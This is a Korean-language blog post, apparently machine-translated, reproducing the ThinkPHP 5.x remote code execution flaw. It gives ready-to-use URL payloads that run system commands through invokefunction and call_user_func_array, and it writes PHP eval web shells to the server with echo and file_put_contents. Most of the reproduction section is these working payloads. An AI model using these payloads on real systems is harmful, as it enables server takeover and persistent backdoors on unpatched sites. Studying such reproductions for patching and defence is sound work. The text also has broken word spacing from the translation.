ThinkPHP 5.x 원 격 명령 실행 빈틈 복원
2018 년 12 월 10 일 에 ThinkpHP 는 공식 적 으로 안전 업 데 이 트 를 발 표 했 는데 그 중에서 ThinkpHP 5 프레임 워 크 의 고위 험 구멍 을 복원 했다.
https://blog.thinkphp.cn/869075
구멍 의 원인 은 프레임 워 크 가 컨트롤 러 이름 에 대해 충분 한 검 사 를 하지 않 았 기 때문에 강제 경로(기본 열 리 지 않 음)를 열지 않 은 상태 에서 원 격 코드 가 실 행 될 수 있 고 영향 을 받 은 버 전 은 5.0 과 5.1 을 포함한다.
2.구멍 영향 버 전
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
3.구멍 재현
1,홈 페이지 다운로드 Thinkphp 5.0.22,다운로드 주소:http://www.thinkphp.cn/donate/download/id/1260.html
2.phpstudy 를 사용 하여 환경 을 구축 하고 다운 로드 된 Thinkpphp 5.0.22 를 웹 사이트 디 렉 터 리 에서 브 라 우 저 로 방문 합 니 다.http://192.168.10.171/thinkphp5.0.22/public
3.system 함수 로 원 격 명령 실행
Payload 는 다음 과 같 습 니 다:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
4.phopinfo 함 수 를 통 해 phopinfo()의 정 보 를 볼 수 있 습 니 다.
Payload 는 다음 과 같 습 니 다:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5.셸 에 쓰기
Payload 는 다음 과 같 습 니 다:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
메모:특수 문자 에 대해^전의(cmd 환경 에서 전의 방식)를 사용 해 야 합 니 다.windows 환경의 echo 명령 출력 문자열 은 문서 에 따옴표(작은 따옴표,작은 따옴표)를 사용 하지 않 고 일부 문자 url 인 코딩 은 인 코딩 하지 않 아 도 됩 니 다.6.셸 에 성공 적 으로 기 록 했 는 지 확인
7.식칼 연결
8.두 번 째 셸 을 쓰 는 방법
Payload 는 다음 과 같 습 니 다:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>
9.파일 에 성공 적 으로 기 록 했 는 지 확인
10.식칼 연결
총결산
위 에서 말씀 드 린 것 은 편집장 님 께 서 소개 해 주신 ThinkPHP 5.x 원 격 명령 수행 의 허점 이 복 원 된 것 입 니 다.여러분 께 도움 이 되 셨 으 면 좋 겠 습 니 다.궁금 한 점 이 있 으 시 면 메 시 지 를 남 겨 주세요.편집장 님 께 서 바로 답 해 드 리 겠 습 니 다.여기 서도 저희 사이트 에 대한 여러분 의 지지 에 감 사 드 립 니 다!
만약 당신 이 본문 이 당신 에 게 도움 이 된다 고 생각한다 면,전 재 를 환영 합 니 다.번 거 로 우 시 겠 지만 출처 를 밝 혀 주 십시오.감사합니다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
ThinkPHP의 도메인 간 공유 세션한동안 의 연구 를 거쳐 마침내 돌파구 를 이루었다 두 웹 사이트: think.local think2.local 주요 원리는 다음과 같습니다. 1、think에서 통과.local 실행 js 스크립트,think2.loc...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.